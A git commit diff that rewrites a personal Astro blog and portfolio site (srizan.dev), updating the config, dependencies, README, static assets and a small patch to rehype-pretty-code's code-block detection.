astro v2 website (#11)
* initial commit * bento * spotify and about me * lol * rose pine * eff * fix: small centering issue * feat: latest posts view * chore: temp filler * feat: weather * feat: discord status * feat: remove old posts and add myself and some projects * chore: generalize a bit * chore: testing post and cloudflare ssr * fix: prerender some more stuff * feat: branding * fix: cloudflare deployments * feat: add lastfm profile * feat: star rating * feat: add discogs * chore: add nocheck * docs: barebones readme * docs: try it out * feat: writeup * feat: some component stuff
1
.gitattributes
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
*.mdx linguist-vendored
|
||||||
15
.gitignore
vendored
@@ -1,24 +1,13 @@
|
|||||||
# build output
|
|
||||||
dist/
|
dist/
|
||||||
# generated types
|
|
||||||
.astro/
|
.astro/
|
||||||
|
|
||||||
# dependencies
|
|
||||||
node_modules/
|
node_modules/
|
||||||
|
|
||||||
# logs
|
|
||||||
npm-debug.log*
|
npm-debug.log*
|
||||||
yarn-debug.log*
|
yarn-debug.log*
|
||||||
yarn-error.log*
|
yarn-error.log*
|
||||||
pnpm-debug.log*
|
pnpm-debug.log*
|
||||||
|
|
||||||
|
|
||||||
# environment variables
|
|
||||||
.env
|
.env
|
||||||
.env.production
|
.env.production
|
||||||
|
|
||||||
# macOS-specific files
|
|
||||||
.DS_Store
|
.DS_Store
|
||||||
|
|
||||||
# jetbrains setting folder
|
|
||||||
.idea/
|
.idea/
|
||||||
|
teaser.pptx
|
||||||
|
~$teaser.pptx
|
||||||
1
.node-version
Normal file
@@ -0,0 +1 @@
|
|||||||
|
22
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
{
|
|
||||||
"useTabs": false,
|
|
||||||
"printWidth": 800,
|
|
||||||
"tabWidth": 2,
|
|
||||||
"singleQuote": true,
|
|
||||||
"trailingComma": "all",
|
|
||||||
"semi": false,
|
|
||||||
"plugins": ["prettier-plugin-astro"]
|
|
||||||
}
|
|
||||||
4
.vscode/extensions.json
vendored
@@ -1,4 +0,0 @@
|
|||||||
{
|
|
||||||
"recommendations": ["astro-build.astro-vscode", "unifiedjs.vscode-mdx"],
|
|
||||||
"unwantedRecommendations": []
|
|
||||||
}
|
|
||||||
11
.vscode/launch.json
vendored
@@ -1,11 +0,0 @@
|
|||||||
{
|
|
||||||
"version": "0.2.0",
|
|
||||||
"configurations": [
|
|
||||||
{
|
|
||||||
"command": "./node_modules/.bin/astro dev",
|
|
||||||
"name": "Development server",
|
|
||||||
"request": "launch",
|
|
||||||
"type": "node-terminal"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
10
.vscode/settings.json
vendored
@@ -1,10 +0,0 @@
|
|||||||
{
|
|
||||||
"css.customData": [".vscode/tailwind.json"],
|
|
||||||
"editor.tabSize": 2,
|
|
||||||
"editor.insertSpaces": true,
|
|
||||||
"editor.detectIndentation": false,
|
|
||||||
"prettier.documentSelectors": ["**/*.astro"],
|
|
||||||
"[astro]": {
|
|
||||||
"editor.defaultFormatter": "esbenp.prettier-vscode"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
55
.vscode/tailwind.json
vendored
@@ -1,55 +0,0 @@
|
|||||||
{
|
|
||||||
"version": 1.1,
|
|
||||||
"atDirectives": [
|
|
||||||
{
|
|
||||||
"name": "@tailwind",
|
|
||||||
"description": "Use the `@tailwind` directive to insert Tailwind's `base`, `components`, `utilities` and `screens` styles into your CSS.",
|
|
||||||
"references": [
|
|
||||||
{
|
|
||||||
"name": "Tailwind Documentation",
|
|
||||||
"url": "https://tailwindcss.com/docs/functions-and-directives#tailwind"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "@apply",
|
|
||||||
"description": "Use the `@apply` directive to inline any existing utility classes into your own custom CSS. This is useful when you find a common utility pattern in your HTML that you’d like to extract to a new component.",
|
|
||||||
"references": [
|
|
||||||
{
|
|
||||||
"name": "Tailwind Documentation",
|
|
||||||
"url": "https://tailwindcss.com/docs/functions-and-directives#apply"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "@responsive",
|
|
||||||
"description": "You can generate responsive variants of your own classes by wrapping their definitions in the `@responsive` directive:\n```css\n@responsive {\n .alert {\n background-color: #E53E3E;\n }\n}\n```\n",
|
|
||||||
"references": [
|
|
||||||
{
|
|
||||||
"name": "Tailwind Documentation",
|
|
||||||
"url": "https://tailwindcss.com/docs/functions-and-directives#responsive"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "@screen",
|
|
||||||
"description": "The `@screen` directive allows you to create media queries that reference your breakpoints by **name** instead of duplicating their values in your own CSS:\n```css\n@screen sm {\n /* ... */\n}\n```\n…gets transformed into this:\n```css\n@media (min-width: 640px) {\n /* ... */\n}\n```\n",
|
|
||||||
"references": [
|
|
||||||
{
|
|
||||||
"name": "Tailwind Documentation",
|
|
||||||
"url": "https://tailwindcss.com/docs/functions-and-directives#screen"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "@variants",
|
|
||||||
"description": "Generate `hover`, `focus`, `active` and other **variants** of your own utilities by wrapping their definitions in the `@variants` directive:\n```css\n@variants hover, focus {\n .btn-brand {\n background-color: #3182CE;\n }\n}\n```\n",
|
|
||||||
"references": [
|
|
||||||
{
|
|
||||||
"name": "Tailwind Documentation",
|
|
||||||
"url": "https://tailwindcss.com/docs/functions-and-directives#variants"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2024 Trevor Lee
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
74
README.md
@@ -1,68 +1,14 @@
|
|||||||
# Astro Starter Kit: Blog
|
# srizan.dev
|
||||||
|
|
||||||
```sh
|
[try it out!](https://astro-v2.mainwebsite-243.pages.dev/)
|
||||||
npm create astro@latest -- --template blog
|
|
||||||
```
|
|
||||||
|
|
||||||
[](https://stackblitz.com/github/withastro/astro/tree/latest/examples/blog)
|
srizan.dev astro rewrite (v2)!
|
||||||
[](https://codesandbox.io/p/sandbox/github/withastro/astro/tree/latest/examples/blog)
|
|
||||||
[](https://codespaces.new/withastro/astro?devcontainer_path=.devcontainer/blog/devcontainer.json)
|
|
||||||
|
|
||||||
> 🧑🚀 **Seasoned astronaut?** Delete this file. Have fun!
|
includes blogging and project portfolio. additionally, extra quality of life features for writing, such as:
|
||||||
|
- discogs api integration for music reviews
|
||||||
|
- goodreads api integration for book reviews
|
||||||
|
- myanimelist api integration for anime/manga reviews
|
||||||
|
|
||||||

|
## tech stack
|
||||||
|
- astro-erudite template
|
||||||
Features:
|
- cloudflare pages
|
||||||
|
|
||||||
- ✅ Minimal styling (make it your own!)
|
|
||||||
- ✅ 100/100 Lighthouse performance
|
|
||||||
- ✅ SEO-friendly with canonical URLs and OpenGraph data
|
|
||||||
- ✅ Sitemap support
|
|
||||||
- ✅ RSS Feed support
|
|
||||||
- ✅ Markdown & MDX support
|
|
||||||
|
|
||||||
## 🚀 Project Structure
|
|
||||||
|
|
||||||
Inside of your Astro project, you'll see the following folders and files:
|
|
||||||
|
|
||||||
```text
|
|
||||||
├── public/
|
|
||||||
├── src/
|
|
||||||
│ ├── components/
|
|
||||||
│ ├── content/
|
|
||||||
│ ├── layouts/
|
|
||||||
│ └── pages/
|
|
||||||
├── astro.config.mjs
|
|
||||||
├── README.md
|
|
||||||
├── package.json
|
|
||||||
└── tsconfig.json
|
|
||||||
```
|
|
||||||
|
|
||||||
Astro looks for `.astro` or `.md` files in the `src/pages/` directory. Each page is exposed as a route based on its file name.
|
|
||||||
|
|
||||||
There's nothing special about `src/components/`, but that's where we like to put any Astro/React/Vue/Svelte/Preact components.
|
|
||||||
|
|
||||||
The `src/content/` directory contains "collections" of related Markdown and MDX documents. Use `getCollection()` to retrieve posts from `src/content/blog/`, and type-check your frontmatter using an optional schema. See [Astro's Content Collections docs](https://docs.astro.build/en/guides/content-collections/) to learn more.
|
|
||||||
|
|
||||||
Any static assets, like images, can be placed in the `public/` directory.
|
|
||||||
|
|
||||||
## 🧞 Commands
|
|
||||||
|
|
||||||
All commands are run from the root of the project, from a terminal:
|
|
||||||
|
|
||||||
| Command | Action |
|
|
||||||
| :------------------------ | :----------------------------------------------- |
|
|
||||||
| `npm install` | Installs dependencies |
|
|
||||||
| `npm run dev` | Starts local dev server at `localhost:4321` |
|
|
||||||
| `npm run build` | Build your production site to `./dist/` |
|
|
||||||
| `npm run preview` | Preview your build locally, before deploying |
|
|
||||||
| `npm run astro ...` | Run CLI commands like `astro add`, `astro check` |
|
|
||||||
| `npm run astro -- --help` | Get help using the Astro CLI |
|
|
||||||
|
|
||||||
## 👀 Want to learn more?
|
|
||||||
|
|
||||||
Check out [our documentation](https://docs.astro.build) or jump into our [Discord server](https://astro.build/chat).
|
|
||||||
|
|
||||||
## Credit
|
|
||||||
|
|
||||||
This theme is based off of the lovely [Bear Blog](https://github.com/HermanMartinus/bearblog/).
|
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
import { defineConfig } from 'astro/config';
|
|
||||||
import mdx from '@astrojs/mdx';
|
|
||||||
import sitemap from '@astrojs/sitemap';
|
|
||||||
import react from "@astrojs/react";
|
|
||||||
|
|
||||||
import tailwind from "@astrojs/tailwind";
|
|
||||||
|
|
||||||
// https://astro.build/config
|
|
||||||
export default defineConfig({
|
|
||||||
site: 'https://srizan.dev',
|
|
||||||
integrations: [mdx(), sitemap(), react(), tailwind()]
|
|
||||||
});
|
|
||||||
133
astro.config.ts
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
import { defineConfig } from 'astro/config'
|
||||||
|
|
||||||
|
import mdx from '@astrojs/mdx'
|
||||||
|
import react from '@astrojs/react'
|
||||||
|
import sitemap from '@astrojs/sitemap'
|
||||||
|
import icon from 'astro-icon'
|
||||||
|
|
||||||
|
import expressiveCode from 'astro-expressive-code'
|
||||||
|
import { rehypeHeadingIds } from '@astrojs/markdown-remark'
|
||||||
|
import rehypeExternalLinks from 'rehype-external-links'
|
||||||
|
import rehypeKatex from 'rehype-katex'
|
||||||
|
import rehypePrettyCode from 'rehype-pretty-code'
|
||||||
|
import remarkEmoji from 'remark-emoji'
|
||||||
|
import remarkMath from 'remark-math'
|
||||||
|
import rehypeDocument from 'rehype-document'
|
||||||
|
|
||||||
|
import { pluginCollapsibleSections } from '@expressive-code/plugin-collapsible-sections'
|
||||||
|
import { pluginLineNumbers } from '@expressive-code/plugin-line-numbers'
|
||||||
|
|
||||||
|
import tailwindcss from '@tailwindcss/vite'
|
||||||
|
|
||||||
|
import cloudflare from '@astrojs/cloudflare'
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
site: 'https://srizan.dev',
|
||||||
|
|
||||||
|
integrations: [
|
||||||
|
expressiveCode({
|
||||||
|
themes: ['github-light', 'github-dark'],
|
||||||
|
plugins: [pluginCollapsibleSections(), pluginLineNumbers()],
|
||||||
|
useDarkModeMediaQuery: false,
|
||||||
|
themeCssSelector: (theme) => `[data-theme="${theme.name.split('-')[1]}"]`,
|
||||||
|
defaultProps: {
|
||||||
|
wrap: true,
|
||||||
|
collapseStyle: 'collapsible-auto',
|
||||||
|
overridesByLang: {
|
||||||
|
'ansi,bat,bash,batch,cmd,console,powershell,ps,ps1,psd1,psm1,sh,shell,shellscript,shellsession,text,zsh':
|
||||||
|
{
|
||||||
|
showLineNumbers: false,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
styleOverrides: {
|
||||||
|
codeFontSize: '0.75rem',
|
||||||
|
borderColor: 'var(--border)',
|
||||||
|
codeFontFamily: 'var(--font-mono)',
|
||||||
|
codeBackground:
|
||||||
|
'color-mix(in oklab, var(--secondary) 25%, transparent)',
|
||||||
|
frames: {
|
||||||
|
editorActiveTabForeground: 'var(--muted-foreground)',
|
||||||
|
editorActiveTabBackground:
|
||||||
|
'color-mix(in oklab, var(--secondary) 25%, transparent)',
|
||||||
|
editorActiveTabIndicatorBottomColor: 'transparent',
|
||||||
|
editorActiveTabIndicatorTopColor: 'transparent',
|
||||||
|
editorTabBorderRadius: '0',
|
||||||
|
editorTabBarBackground: 'transparent',
|
||||||
|
editorTabBarBorderBottomColor: 'transparent',
|
||||||
|
frameBoxShadowCssValue: 'none',
|
||||||
|
terminalBackground:
|
||||||
|
'color-mix(in oklab, var(--secondary) 25%, transparent)',
|
||||||
|
terminalTitlebarBackground: 'transparent',
|
||||||
|
terminalTitlebarBorderBottomColor: 'transparent',
|
||||||
|
terminalTitlebarForeground: 'var(--muted-foreground)',
|
||||||
|
},
|
||||||
|
lineNumbers: {
|
||||||
|
foreground: 'var(--muted-foreground)',
|
||||||
|
},
|
||||||
|
uiFontFamily: 'var(--font-sans)',
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
mdx(),
|
||||||
|
react(),
|
||||||
|
sitemap(),
|
||||||
|
icon(),
|
||||||
|
],
|
||||||
|
|
||||||
|
vite: {
|
||||||
|
plugins: [tailwindcss()],
|
||||||
|
resolve: {
|
||||||
|
alias: import.meta.env.PROD
|
||||||
|
? {
|
||||||
|
'react-dom/server': 'react-dom/server.edge',
|
||||||
|
}
|
||||||
|
: undefined,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
|
||||||
|
server: {
|
||||||
|
port: 1234,
|
||||||
|
host: true,
|
||||||
|
},
|
||||||
|
|
||||||
|
devToolbar: {
|
||||||
|
enabled: false,
|
||||||
|
},
|
||||||
|
|
||||||
|
markdown: {
|
||||||
|
syntaxHighlight: false,
|
||||||
|
rehypePlugins: [
|
||||||
|
[
|
||||||
|
rehypeDocument,
|
||||||
|
{
|
||||||
|
css: 'https://cdn.jsdelivr.net/npm/katex@0.16.21/dist/katex.min.css',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[
|
||||||
|
rehypeExternalLinks,
|
||||||
|
{
|
||||||
|
target: '_blank',
|
||||||
|
rel: ['nofollow', 'noreferrer', 'noopener'],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
rehypeHeadingIds,
|
||||||
|
rehypeKatex,
|
||||||
|
[
|
||||||
|
rehypePrettyCode,
|
||||||
|
{
|
||||||
|
theme: {
|
||||||
|
light: 'github-light',
|
||||||
|
dark: 'github-dark',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
],
|
||||||
|
],
|
||||||
|
remarkPlugins: [remarkMath, remarkEmoji],
|
||||||
|
},
|
||||||
|
|
||||||
|
adapter: cloudflare({
|
||||||
|
imageService: 'compile',
|
||||||
|
}),
|
||||||
|
output: 'server',
|
||||||
|
})
|
||||||
|
|
||||||
@@ -1,17 +1,20 @@
|
|||||||
{
|
{
|
||||||
"$schema": "https://ui.shadcn.com/schema.json",
|
"$schema": "https://ui.shadcn.com/schema.json",
|
||||||
"style": "default",
|
"style": "new-york",
|
||||||
"rsc": false,
|
"rsc": false,
|
||||||
"tsx": true,
|
"tsx": true,
|
||||||
"tailwind": {
|
"tailwind": {
|
||||||
"config": "tailwind.config.mjs",
|
"config": "tailwind.config.ts",
|
||||||
"css": "./src/styles/global.css",
|
"css": "src/styles/global.css",
|
||||||
"baseColor": "slate",
|
"baseColor": "neutral",
|
||||||
"cssVariables": true,
|
"cssVariables": true,
|
||||||
"prefix": ""
|
"prefix": ""
|
||||||
},
|
},
|
||||||
"aliases": {
|
"aliases": {
|
||||||
"components": "@/components",
|
"components": "@/components",
|
||||||
"utils": "@/lib/utils"
|
"utils": "@/lib/utils",
|
||||||
|
"ui": "@/components/ui",
|
||||||
|
"lib": "@/lib",
|
||||||
|
"hooks": "@/hooks"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
98
package.json
@@ -1,46 +1,78 @@
|
|||||||
{
|
{
|
||||||
"name": "mainwebsite",
|
"name": "astro-erudite",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"version": "0.0.1",
|
"version": "1.6.1",
|
||||||
"packageManager": "yarn@1.22.21",
|
"private": true,
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "astro dev",
|
"dev": "astro dev",
|
||||||
"start": "astro dev",
|
"start": "astro dev",
|
||||||
"build": "astro check && astro build",
|
"build": "astro check && astro build",
|
||||||
"preview": "astro preview",
|
"preview": "astro preview",
|
||||||
"astro": "astro"
|
"astro": "astro",
|
||||||
|
"prettier": "prettier --write **/*.{ts,tsx,css,astro} --ignore-path .gitignore",
|
||||||
|
"postinstall": "patch-package",
|
||||||
|
"ui:add": "shadcn add"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@astrojs/check": "^0.7.0",
|
"@astrojs/check": "^0.9.4",
|
||||||
"@astrojs/mdx": "^3.0.1",
|
"@astrojs/cloudflare": "^12.6.9",
|
||||||
"@astrojs/react": "^3.3.4",
|
"@astrojs/markdown-remark": "^6.3.1",
|
||||||
"@astrojs/rss": "^4.0.6",
|
"@astrojs/mdx": "^4.2.6",
|
||||||
"@astrojs/sitemap": "^3.1.5",
|
"@astrojs/react": "^4.2.7",
|
||||||
"@astrojs/tailwind": "^5.1.0",
|
"@astrojs/rss": "^4.0.11",
|
||||||
"@radix-ui/react-dropdown-menu": "^2.0.6",
|
"@astrojs/sitemap": "^3.4.0",
|
||||||
"@radix-ui/react-slot": "^1.0.2",
|
"@expressive-code/plugin-collapsible-sections": "^0.40.2",
|
||||||
"@tryghost/content-api": "^1.11.21",
|
"@expressive-code/plugin-line-numbers": "^0.40.2",
|
||||||
"@types/react": "^18.3.2",
|
"@iconify-json/lucide": "^1.2.26",
|
||||||
"@types/react-dom": "^18.3.0",
|
"@radix-ui/react-toggle": "^1.1.10",
|
||||||
"astro": "^4.8.7",
|
"@radix-ui/react-toggle-group": "^1.1.11",
|
||||||
"class-variance-authority": "^0.7.0",
|
"@tailwindcss/vite": "^4.0.7",
|
||||||
|
"@types/react": "19.0.0",
|
||||||
|
"@types/react-dom": "19.0.0",
|
||||||
|
"astro": "^5.7.13",
|
||||||
|
"astro-expressive-code": "^0.40.2",
|
||||||
|
"astro-icon": "^1.1.5",
|
||||||
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"lucide-react": "^0.379.0",
|
"lucide-react": "^0.469.0",
|
||||||
"react": "^18.3.1",
|
"patch-package": "^8.0.0",
|
||||||
"react-dom": "^18.3.1",
|
"radix-ui": "^1.3.4",
|
||||||
"react-icons": "^5.3.0",
|
"react": "19.0.0",
|
||||||
"tailwind-merge": "^2.3.0",
|
"react-dom": "19.0.0",
|
||||||
"tailwindcss": "^3.4.3",
|
"react-icons": "^5.5.0",
|
||||||
"tailwindcss-animate": "^1.0.7",
|
"rehype-document": "^7.0.3",
|
||||||
"typescript": "^5.4.5"
|
"rehype-external-links": "^3.0.0",
|
||||||
|
"rehype-katex": "^7.0.1",
|
||||||
|
"rehype-pretty-code": "^0.14.1",
|
||||||
|
"remark-emoji": "^5.0.1",
|
||||||
|
"remark-math": "^6.0.0",
|
||||||
|
"tailwind-merge": "^3.3.0",
|
||||||
|
"tailwindcss": "^4.1.7",
|
||||||
|
"typescript": "^5.8.3"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@tailwindcss/typography": "^0.5.13",
|
"prettier": "^3.5.1",
|
||||||
"@types/jsdom": "^21.1.6",
|
"prettier-plugin-astro": "^0.14.1",
|
||||||
"@types/tryghost__content-api": "^1.3.16",
|
"prettier-plugin-astro-organize-imports": "^0.4.11",
|
||||||
"jsdom": "^24.0.0",
|
"prettier-plugin-tailwindcss": "^0.6.11",
|
||||||
"prettier": "^3.2.5",
|
"shadcn": "^3.3.1"
|
||||||
"prettier-plugin-astro": "^0.14.0",
|
},
|
||||||
"shiki": "^1.6.0"
|
"prettier": {
|
||||||
}
|
"semi": false,
|
||||||
|
"singleQuote": true,
|
||||||
|
"plugins": [
|
||||||
|
"prettier-plugin-astro",
|
||||||
|
"prettier-plugin-tailwindcss",
|
||||||
|
"prettier-plugin-astro-organize-imports"
|
||||||
|
],
|
||||||
|
"overrides": [
|
||||||
|
{
|
||||||
|
"files": "*.astro",
|
||||||
|
"options": {
|
||||||
|
"parser": "astro"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e"
|
||||||
}
|
}
|
||||||
|
|||||||
13
patches/rehype-pretty-code+0.14.1.patch
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
diff --git a/node_modules/rehype-pretty-code/dist/index.js b/node_modules/rehype-pretty-code/dist/index.js
|
||||||
|
index 9142858..9f59dc9 100644
|
||||||
|
--- a/node_modules/rehype-pretty-code/dist/index.js
|
||||||
|
+++ b/node_modules/rehype-pretty-code/dist/index.js
|
||||||
|
@@ -22,7 +22,7 @@ function isInlineCode(element, parent, bypass = false) {
|
||||||
|
return element.tagName === "code" && isElement(parent) && parent.tagName !== "pre" || element.tagName === "inlineCode";
|
||||||
|
}
|
||||||
|
function isBlockCode(element) {
|
||||||
|
- return element.tagName === "pre" && Array.isArray(element.children) && element.children.length === 1 && isElement(element.children[0]) && element.children[0].tagName === "code";
|
||||||
|
+ return false;
|
||||||
|
}
|
||||||
|
function getInlineCodeLang(meta, defaultFallbackLang) {
|
||||||
|
const placeholder = "\0";
|
||||||
BIN
public/apple-touch-icon.png
Normal file
|
After Width: | Height: | Size: 70 KiB |
|
Before Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 21 KiB |
BIN
public/favicon-96x96.png
Normal file
|
After Width: | Height: | Size: 24 KiB |
BIN
public/favicon.ico
Normal file
|
After Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 749 B After Width: | Height: | Size: 93 KiB |
BIN
public/fonts/GeistMonoVF.woff2
Normal file
BIN
public/fonts/GeistVF.woff2
Normal file
BIN
public/pfp.webp
|
Before Width: | Height: | Size: 177 KiB |
@@ -1,4 +0,0 @@
|
|||||||
User-agent: *
|
|
||||||
Allow: /
|
|
||||||
|
|
||||||
Sitemap: https://srizan.dev/sitemap-index.xml
|
|
||||||
21
public/site.webmanifest
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
{
|
||||||
|
"name": "MyWebSite",
|
||||||
|
"short_name": "MySite",
|
||||||
|
"icons": [
|
||||||
|
{
|
||||||
|
"src": "/web-app-manifest-192x192.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "maskable"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/web-app-manifest-512x512.png",
|
||||||
|
"sizes": "512x512",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "maskable"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"theme_color": "#ffffff",
|
||||||
|
"background_color": "#ffffff",
|
||||||
|
"display": "standalone"
|
||||||
|
}
|
||||||
BIN
public/static/1200x630.png
Normal file
|
After Width: | Height: | Size: 77 KiB |
BIN
public/static/hctv-banner.png
Normal file
|
After Width: | Height: | Size: 156 KiB |
BIN
public/static/lofi-banner.png
Normal file
|
After Width: | Height: | Size: 593 KiB |
BIN
public/static/logo.png
Normal file
|
After Width: | Height: | Size: 405 KiB |
16
public/static/logo.svg
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
<svg width="512" height="512" viewBox="0 0 512 512" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g clip-path="url(#clip0_271_118)">
|
||||||
|
<rect width="512" height="74" fill="#CCCCCC"/>
|
||||||
|
<rect y="146" width="512" height="74" fill="#CCCCCC"/>
|
||||||
|
<rect y="292" width="512" height="74" fill="#CCCCCC"/>
|
||||||
|
<rect y="438" width="512" height="74" fill="#CCCCCC"/>
|
||||||
|
<rect y="74" width="72" height="72" fill="#CCCCCC"/>
|
||||||
|
<rect y="366" width="72" height="72" fill="#CCCCCC"/>
|
||||||
|
<rect x="440" y="220" width="72" height="72" fill="#CCCCCC"/>
|
||||||
|
</g>
|
||||||
|
<defs>
|
||||||
|
<clipPath id="clip0_271_118">
|
||||||
|
<rect width="512" height="512" fill="white"/>
|
||||||
|
</clipPath>
|
||||||
|
</defs>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 632 B |
BIN
public/static/preview-1.png
Normal file
|
After Width: | Height: | Size: 530 KiB |
BIN
public/static/preview-2.png
Normal file
|
After Width: | Height: | Size: 678 KiB |
BIN
public/static/preview-3.png
Normal file
|
After Width: | Height: | Size: 553 KiB |
BIN
public/static/preview-4.png
Normal file
|
After Width: | Height: | Size: 887 KiB |
BIN
public/static/sern-banner.png
Normal file
|
After Width: | Height: | Size: 52 KiB |
BIN
public/static/twitter-card.png
Normal file
|
After Width: | Height: | Size: 140 KiB |
BIN
public/web-app-manifest-192x192.png
Normal file
|
After Width: | Height: | Size: 78 KiB |
BIN
public/web-app-manifest-512x512.png
Normal file
|
After Width: | Height: | Size: 405 KiB |
@@ -1,32 +0,0 @@
|
|||||||
[
|
|
||||||
{
|
|
||||||
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Dom_Luis_I_Bridge_Porto_dsdodq.jpg",
|
|
||||||
"author": "me",
|
|
||||||
"description": "Dom Luis I Bridge (Porto)",
|
|
||||||
"location": "https://www.openstreetmap.org/way/98835981"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Oviedo_Landscape_c8xva6.jpg",
|
|
||||||
"author": "me",
|
|
||||||
"description": "Oviedo Landscape",
|
|
||||||
"location": "https://www.openstreetmap.org/way/605000131#map=17/43.37598/-5.86843"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Playa_de_Santa_Marina_ae389j.jpg",
|
|
||||||
"author": "me",
|
|
||||||
"description": "Playa de Santa Marina (Ribadesella)",
|
|
||||||
"location": "https://www.openstreetmap.org/way/822201400#map=19/43.46545/-5.06683"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Hotel_Best_Benalmadena_olqc9x.jpg",
|
|
||||||
"author": "me",
|
|
||||||
"description": "Hotel Best (Benalmádena)",
|
|
||||||
"location": "https://www.openstreetmap.org/node/1253883928"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"url": "https://res.cloudinary.com/mainwebsite/image/upload/v1703593035/bg/Douro_River_Porto_cuga4l.jpg",
|
|
||||||
"author": "me",
|
|
||||||
"description": "Douro River (Porto)",
|
|
||||||
"location": "https://www.openstreetmap.org/#map=18/41.14065/-8.60647"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
62
src/components/AuthorCard.astro
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
---
|
||||||
|
import Link from '@/components/Link.astro'
|
||||||
|
import AvatarComponent from '@/components/ui/avatar'
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
import type { SocialLink } from '@/types'
|
||||||
|
import type { CollectionEntry } from 'astro:content'
|
||||||
|
import SocialIcons from './SocialIcons.astro'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
author: CollectionEntry<'authors'>
|
||||||
|
}
|
||||||
|
|
||||||
|
const { author } = Astro.props
|
||||||
|
const { name, avatar, bio, pronouns } = author.data
|
||||||
|
const currentPath = Astro.url.pathname
|
||||||
|
const isAuthorPage = currentPath === `/authors/${author.id}`
|
||||||
|
|
||||||
|
const socialLinks: SocialLink[] = [
|
||||||
|
author.data.website && { href: author.data.website, label: 'Website' },
|
||||||
|
author.data.github && { href: author.data.github, label: 'GitHub' },
|
||||||
|
author.data.twitter && { href: author.data.twitter, label: 'Twitter' },
|
||||||
|
author.data.linkedin && { href: author.data.linkedin, label: 'LinkedIn' },
|
||||||
|
author.data.mail && { href: `mailto:${author.data.mail}`, label: 'Email' },
|
||||||
|
].filter(Boolean) as SocialLink[]
|
||||||
|
---
|
||||||
|
|
||||||
